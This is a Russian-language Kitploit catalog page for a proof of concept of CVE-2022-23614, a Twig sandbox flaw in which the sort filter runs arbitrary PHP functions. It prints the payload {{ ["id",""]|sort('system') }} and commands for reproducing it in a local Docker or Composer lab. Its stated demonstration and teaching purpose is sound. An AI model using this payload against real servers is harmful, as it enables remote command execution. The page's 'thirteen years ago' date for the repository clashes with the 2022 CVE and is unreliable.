Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-23614 — Proof of concept for CVE-2022-23614 (command injection in Twig) | Kitploit
Инструменты/GitHubGitHub/4rtamis/cve-2022-23614
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

Proof of concept for CVE-2022-23614 (command injection in Twig)

Репозиторий
13 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-23614

Доказательство концепции (PoC) для CVE-2022-23614, упомянутое в DSA-5107-1.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

Объяснение

Twig — это гибкий, быстрый и безопасный шаблонизатор для PHP. Примечательно, что можно использовать фильтры в шаблоне до его рендеринга. Фильтр sort можно использовать для сортировки элементов массива со следующей структурой:

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig имеет режим песочницы для оценки недоверенного кода шаблона. В режиме песочницы параметр arrow фильтра sort должен быть замыканием, чтобы предотвратить возможность выполнения произвольных PHP-функций злоумышленниками. В затронутых версиях это ограничение не было должным образом реализовано, что могло привести к внедрению произвольного PHP-кода.

root@kitploit:~
{{ ["id",""]|sort('system') }}

Использование

Этот PoC иллюстрирует уязвимость в двух различных сценариях использования: с помощью пакета Debian php-twig (v2.14.1) или с помощью модуля Composer twig/twig (v2.14).

Файл index.php создает шаблон Twig на основе первого аргумента. В следующем коде argv[1] — это имя функции сортировки, которая будет использоваться Twig при рендеринге.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

Затем index.php использует две устаревшие функции Twig для загрузки сгенерированного шаблона. В конечном итоге он использует второй аргумент (argv[2]) для передачи данных в шаблон во время его рендеринга, а именно массива args, который мы хотим отсортировать.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

Отображенный шаблон затем выводится в стандартный поток вывода.

Обратите внимание, что этот репозиторий создан только для демонстрационных целей. Он предназначен для простоты понимания и использования, чтобы поиграть с CVE, используя только интерфейс командной строки. Он далек от того, что можно найти на реальном уязвимом сервере.

php-twig

С помощью Docker мы можем воссоздать контекст оригинального Уведомления о безопасности Debian (DSA). Вы можете использовать предоставленный скрипт build-docker.sh, чтобы правильно собрать и запустить уязвимый контейнер.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

Контейнер должен завершить работу после выполнения полезной нагрузки (команда id). Если вы хотите попробовать свои команды, вы можете запустить контейнер в интерактивном режиме:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

Оказавшись в контейнере, вы можете создать свою полезную нагрузку, используя следующую модель:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

Этот Dockerfile был частично создан с помощью DECRET.

Composer

Если у вас уже установлены PHP и Composer, вы можете воспроизвести эксплойт, используя уязвимый модуль Composer.

root@kitploit:~
cd exploit
composer install

Затем просто поиграйте с полезной нагрузкой.

root@kitploit:~
php index.php system '{"args":["id",""]}'

Ссылки

Детали CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

Коммит патча: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

PoC от davwwwx (с использованием GUI): https://github.com/davwwwx/CVE-2022-23614

Скачать инструмент